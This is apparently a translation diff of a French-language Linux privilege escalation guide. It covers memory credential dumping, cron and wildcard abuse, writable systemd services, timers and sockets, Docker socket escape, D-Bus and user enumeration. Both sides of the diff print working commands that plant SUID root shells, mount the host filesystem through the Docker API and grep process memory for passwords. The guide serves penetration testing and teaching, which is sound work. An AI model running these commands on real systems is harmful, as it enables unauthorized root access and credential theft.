/dev/kmem.\ +Typiquement, `/dev/mem` n'est lisible que par **root** et le groupe kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump pour Linux +### ProcDump pour linux -ProcDump est une réinterprétation pour Linux du classique outil ProcDump de la suite Sysinternals pour Windows. Obtenez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une réinvention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Récupérez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,37 +269,37 @@ Press Ctrl-C to end monitoring without terminating the process. Pour dump la mémoire d'un processus, vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez retirer manuellement l'exigence de root et dump le processus qui vous appartient -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root requis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez retirer manuellement les exigences root et dump le processus qui vous appartient +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Identifiants depuis la mémoire du processus +### Identifiants depuis la mémoire d'un processus #### Exemple manuel -Si vous trouvez que le processus authenticator est en cours d'exécution : +Si vous constatez que le processus authenticator est en cours d'exécution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez dump the process (voir les sections précédentes pour trouver différentes façons de dump the memory of a process) et rechercher des credentials à l'intérieur de la memory : +Vous pouvez dump the process (voir les sections précédentes pour trouver différentes façons de dump the memory of a process) et rechercher des credentials dans la memory : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite les privilèges root pour fonctionner correctement. | Fonctionnalité | Nom du processus | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (connexions FTP actives) | vsftpd | +| Apache2 (sessions d'authentification HTTP Basic actives) | apache2 | +| OpenSSH (sessions SSH actives - utilisation de sudo) | sshd: | -#### Regex de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Expressions régulières de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tâches planifiées/Cron jobs +## Tâches planifiées / Cron jobs -Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (wildcard vuln? peut-on modifier des fichiers que root utilise? utiliser des symlinks? créer des fichiers spécifiques dans le répertoire utilisé par root?). +Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (wildcard vuln? pouvez-vous modifier des fichiers que root utilise? utiliser des symlinks? créer des fichiers spécifiques dans le répertoire que root utilise?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,12 +323,13 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Remarquez que l'utilisateur "user" a des privilèges d'écriture sur /home/user_) +(_Remarquez que l'utilisateur "user" a des droits d'écriture sur /home/user_) -Si, dans ce crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le PATH. Par exemple : _\* \* \* \* root overwrite.sh_\ -Alors, vous pouvez obtenir un root shell en utilisant : +Si dans ce crontab l'utilisateur root tente d'exécuter une commande ou un script sans définir le path. Par exemple: _\* \* \* \* root overwrite.sh_\ + +Vous pouvez alors obtenir un shell root en utilisant: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -336,57 +337,57 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron using a script with a wildcard (Wildcard Injection) -Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour provoquer des comportements inattendus (comme privesc). Exemple: +Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez l’exploiter pour faire des choses inattendues (comme privesc). Exemple : ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Si le wildcard est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** -Consultez la page suivante pour plus d'astuces d'exploitation de wildcard : +Lisez la page suivante pour plus d'astuces d'exploitation des wildcards: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Écrasement de script Cron et symlink +### Écrasement de Cron script et symlink -Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement: +Si vous **pouvez modifier un cron script** exécuté par root, vous pouvez obtenir un shell très facilement : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire sur lequel vous avez un accès complet**, il peut être utile de supprimer ce dossier et **de créer un symlink vers un autre dossier** servant un script contrôlé par vous. +Si le script exécuté par root utilise un **répertoire auquel vous avez un accès complet**, il peut être utile de supprimer ce répertoire et de **créer un symlink vers un autre répertoire** pointant vers un script que vous contrôlez. ```bash ln -d -s ``` -### Cron jobs fréquents +### Tâches cron fréquentes -Vous pouvez surveiller les processus pour chercher des processus qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en tirer parti et escalate privileges. +Vous pouvez surveiller les processus pour repérer ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Vous pourriez en tirer parti pour escalader les privilèges. -Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes ayant été exécutées le plus souvent, vous pouvez faire: +Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus souvent, vous pouvez exécuter : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` **Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela va surveiller et lister chaque processus qui démarre). -### Cron jobs invisibles +### Tâches cron invisibles -Il est possible de créer un cronjob **en mettant un carriage return après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le carriage return char): +Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère retour chariot) : ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Services -### Fichiers _.service_ modifiables +### Fichiers _.service_ inscriptibles -Vérifiez si vous pouvez écrire n'importe quel fichier `.service`, si oui, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut‑être attendre que la machine soit redémarrée).\ -Par exemple, créez votre backdoor dans le fichier .service avec **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** afin qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (il se peut que vous deviez attendre que la machine soit redémarrée).\ +Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** ### Binaires de services modifiables -Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors afin que, lorsque les services seront ré-exécutés, les backdoors s'exécutent. +Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors afin que lorsque les services seront relancés, les backdoors soient exécutés. ### systemd PATH - Chemins relatifs @@ -394,19 +395,19 @@ Vous pouvez voir le PATH utilisé par **systemd** avec: ```bash systemctl show-environment ``` -Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalate privileges**. Vous devez rechercher des fichiers de configuration de service qui utilisent des **chemins relatifs** comme : +Si vous constatez que vous pouvez **write** dans l'un des dossiers du chemin, vous pourriez être en mesure de **escalate privileges**. Vous devez rechercher des **relative paths being used on service configurations** dans des fichiers comme : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`). +Ensuite, créez un **executable** avec le **même nom que le relative path binary** à l'intérieur du dossier systemd PATH sur lequel vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas start/stop les services, mais vérifiez si vous pouvez utiliser `sudo -l`). **En savoir plus sur les services avec `man systemd.service`.** ## **Timers** -Les **Timers** sont des unit files systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers `**.service**` ou des événements. Les **Timers** peuvent être utilisés comme alternative à cron car ils offrent nativement la prise en charge des événements basés sur le calendrier et des événements monotoniques, et peuvent s'exécuter de manière asynchrone. +**Timers** sont des unit files systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme alternative à cron car ils ont un support intégré pour les calendar time events et les monotonic time events et peuvent s'exécuter de manière asynchrone. Vous pouvez énumérer tous les timers avec: ```bash @@ -414,54 +415,54 @@ systemctl list-timers --all ``` ### Timers modifiables -Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines unités systemd.unit existantes (comme une `.service` ou une `.target`) +Si vous pouvez modifier un timer, vous pouvez le faire exécuter une unité systemd.unit existante (par exemple un `.service` ou un `.target`). ```bash Unit=backdoor.service ``` -Dans la documentation, vous pouvez lire ce qu'est l'Unit : +Dans la documentation vous pouvez lire ce qu'est Unit : -> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". S'il n'est pas spécifié, cette valeur par défaut correspond à un service qui a le même nom que l'unité timer, à l'exception du suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité de timer soient nommés de façon identique, à l'exception du suffixe. +> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut correspond à un service ayant le même nom que l'unité timer, à l'exception du suffixe. (Voir ci‑dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité timer soient identiques, à l'exception du suffixe. -Par conséquent, pour abuser de cette permission il vous faudrait : +Par conséquent, pour abuser de cette permission, vous devrez : - Trouver une unité systemd (comme une `.service`) qui **exécute un binaire modifiable** -- Trouver une unité systemd qui **exécute un chemin relatif** et pour laquelle vous avez des **droits d'écriture** sur le **systemd PATH** (pour usurper cet exécutable) +- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous disposez de **privilèges d'écriture** sur le **systemd PATH** (pour usurper cet exécutable) -**En savoir plus sur les timers avec `man systemd.timer`.** +En savoir plus sur les timers avec `man systemd.timer`. -### **Activation d'un timer** +### **Activation du timer** -Pour activer un timer, vous avez besoin des privilèges root et d'exécuter : +Pour activer un timer vous avez besoin des privilèges root et devez exécuter : ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Remarquez que le **timer** est **activé** en créant un symlink vers lui sur `/etc/systemd/system/.wants/.timer` +Notez que le **timer** est **activé** en créant un symlink vers celui-ci dans `/etc/systemd/system/.wants/.timer` ## Sockets -Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou entre machines dans des modèles client-serveur. Ils utilisent des fichiers de descripteurs Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. +Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou entre machines dans des modèles client-serveur. Ils utilisent des fichiers de descripteurs Unix standard pour la communication inter-machines et sont configurés via des fichiers `.socket`. -Les sockets peuvent être configurés en utilisant des fichiers `.socket`. +Sockets can be configured using `.socket` files. **En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffèrent mais un résumé est utilisé pour **indiquer où le socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/IPv6 et/ou le numéro de port à écouter, etc.) -- `Accept` : prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est transmis. Si **false**, tous les sockets d'écoute sont **transmis à l'unité de service démarrée**, et une seule unité de service est créée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut false**. Pour des raisons de performance, il est recommandé d'écrire les nouveaux daemons de façon adaptée à `Accept=no`. -- `ExecStartPre`, `ExecStartPost` : prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute ne soient **créés** et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. -- `ExecStopPre`, `ExecStopPost` : commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute ne soient **fermés** et supprimés, respectivement. -- `Service` : spécifie le nom de l'unité **service** **à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ces options diffèrent mais en résumé elles servent à **indiquer où la socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) +- `Accept`: Accepte un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seule la socket de connexion lui est transmise. Si **false**, toutes les sockets d'écoute sont **transmises à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux daemons uniquement de façon compatible avec `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Acceptent une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute soient respectivement **créés** et liés. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. +- `ExecStopPre`, `ExecStopPost`: Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute soient respectivement **fermés** et supprimés. +- `Service`: Spécifie le nom de l'unité de **service** **à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service portant le même nom que la socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. -### Fichiers `.socket` modifiables +### Writable .socket files -Si vous trouvez un fichier `.socket` **inscriptible** vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la backdoor sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ -_Notez que le système doit utiliser cette configuration de fichier socket sinon la backdoor ne sera pas exécutée_ +Si vous trouvez un fichier `.socket` **inscriptible** vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et le backdoor sera exécuté avant que la socket ne soit créée. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ +_Notez que le système doit utiliser cette configuration de fichier socket sinon le backdoor ne sera pas exécuté_ -### Sockets inscriptibles +### Writable sockets -Si vous **identifiez** un socket **inscriptible** (_ici on parle de Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. +Si vous **identifiez une socket inscriptible** (_ici on parle des Unix Sockets et non des fichiers de configuration `.socket`_), alors **vous pouvez communiquer** avec cette socket et éventuellement exploiter une vulnérabilité. -### Énumérer les Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -483,28 +484,28 @@ socket-command-injection.md ### HTTP sockets -Notez qu'il peut y avoir des **sockets à l'écoute de requêtes HTTP** (_je ne parle pas des fichiers .socket mais des fichiers faisant office de unix sockets_). Vous pouvez vérifier ceci avec : +Notez qu'il peut y avoir des **sockets qui écoutent des requêtes HTTP** (_je ne parle pas des fichiers .socket mais des fichiers agissant comme des unix sockets_). Vous pouvez vérifier cela avec : ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si le socket **répond à une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut‑être **exploiter une vulnérabilité**. +Si le socket **répond à des requêtes HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. -### Socket Docker inscriptible +### Docker socket accessible en écriture -Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une privilege escalation. Voici une explication de comment cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. +Le Docker socket, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut entraîner une privilege escalation. Voici une répartition de la façon dont cela peut être fait et des méthodes alternatives si la Docker CLI n'est pas disponible. #### **Privilege Escalation with Docker CLI** -Si vous avez un accès en écriture au socket Docker, vous pouvez escalate privileges en utilisant les commandes suivantes: +Si vous avez un accès en écriture au Docker socket, vous pouvez escalate privileges en utilisant les commandes suivantes: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ces commandes vous permettent d'exécuter un container avec un accès root au système de fichiers de l'hôte. +Ces commandes vous permettent d'exécuter un conteneur avec un accès root au système de fichiers de l'hôte. -#### **Utiliser Docker API directement** +#### **Utiliser l'API Docker directement** -Dans les cas où le Docker CLI n'est pas disponible, le docker socket peut toujours être manipulé en utilisant le Docker API et des commandes `curl`. +Lorsque le Docker CLI n'est pas disponible, la socket Docker peut toujours être manipulée en utilisant l'API Docker et des commandes `curl`. 1. **List Docker Images:** Récupérer la liste des images disponibles. @@ -512,19 +513,19 @@ Dans les cas où le Docker CLI n'est pas disponible, le docker socket peut toujo curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envoyer une requête pour créer un container qui monte le répertoire racine du système hôte. +2. **Create a Container:** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Démarrer le container nouvellement créé : +Démarrer le conteneur nouvellement créé : ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Utilisez `socat` pour établir une connexion au container, permettant l'exécution de commandes à l'intérieur. +3. **Attach to the Container:** Utiliser `socat` pour établir une connexion au conteneur, permettant l'exécution de commandes à l'intérieur. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le container avec un accès root au système de fichiers de l'hôte. +Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès root au système de fichiers de l'hôte. -### Others +### Autres -Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **inside the group `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des permissions d'écriture sur la socket docker parce que vous êtes **dans le groupe `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consultez **plus de façons d'échapper à docker ou de l'abuser pour escalader des privilèges** dans : +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) élévation de privilèges +## Containerd (ctr) privilege escalation -Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour élever des privilèges** : +Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** élévation de privilèges +## **RunC** privilege escalation -Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour élever des privilèges** : +Si vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} @@ -567,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. +D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir et de partager des données de manière efficace. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. -Le système est polyvalent, supportant des IPC basiques qui améliorent l'échange de données entre processus, rappelant des **sockets de domaine UNIX améliorés**. De plus, il facilite la diffusion d'événements ou de signaux, favorisant une intégration fluide entre les composants système. Par exemple, un signal d'un daemon Bluetooth concernant un appel entrant peut pousser un lecteur de musique à couper le son, améliorant l'expérience utilisateur. En outre, D-Bus supporte un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes. +Le système est polyvalent, prenant en charge un IPC de base qui améliore l'échange de données entre processus, rappelant des **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration fluide entre les composants du système. Par exemple, un signal d'un daemon Bluetooth annonçant un appel entrant peut inciter un lecteur de musique à se couper, améliorant ainsi l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les requêtes de services et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes. -D-Bus fonctionne sur un **modèle allow/deny**, gérant les permissions des messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une élévation de privilèges via l'exploitation de ces permissions. +D-Bus fonctionne selon un **modèle allow/deny**, gérant les permissions de message (appels de méthodes, émissions de signaux, etc.) en se basant sur l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une escalade de privilèges via l'exploitation de ces permissions. -Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root pour posséder, envoyer vers, et recevoir des messages de `fi.w1.wpa_supplicant1`. +Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`. -Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux non couverts par d'autres politiques spécifiques. +Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. ```xml @@ -618,7 +619,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Ports ouverts Vérifiez toujours les services réseau en cours d'exécution sur la machine avec lesquels vous n'avez pas pu interagir avant d'y accéder : ```bash @@ -627,15 +628,15 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave ``` ### Sniffing -Vérifiez si vous pouvez sniff traffic. Si vous le pouvez, vous pourriez être capable de récupérer des credentials. +Vérifiez si vous pouvez sniff le trafic. Si c'est le cas, vous pourriez être en mesure de récupérer des identifiants. ``` timeout 1 tcpdump ``` ## Utilisateurs -### Énumération générique +### Énumération Générique -Vérifiez qui vous êtes, quels privilèges vous avez, quels utilisateurs sont présents sur les systèmes, lesquels peuvent se connecter et lesquels ont des privilèges root : +Vérifiez **qui** vous êtes, quels **privilèges** vous avez, quels **utilisateurs** sont dans les systèmes, lesquels peuvent se **login** et lesquels ont des **root privileges** : ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,10 +658,10 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID élevé +### Big UID -Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader des privilèges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`** +Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'obtenir une élévation de privilèges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Exploitez-le en utilisant : **`systemd-run -t /bin/bash`** ### Groupes @@ -684,33 +685,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Politique des mots de passe +### Politique de mots de passe ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Mots de passe connus -Si vous **connaissez un mot de passe** de l'environnement **essayez de vous connecter en tant que chacun des utilisateurs** en utilisant ce mot de passe. +Si vous **connaissez un mot de passe** de l'environnement **essayez de vous connecter en tant que chaque utilisateur** en utilisant ce mot de passe. ### Su Brute -Si cela ne vous dérange pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez essayer de brute-force les utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de brute-force les utilisateurs. +Si cela ne vous dérange pas de générer beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez tenter de brute-force un utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie aussi de brute-force des utilisateurs. -## Abus du PATH inscriptible +## Abus 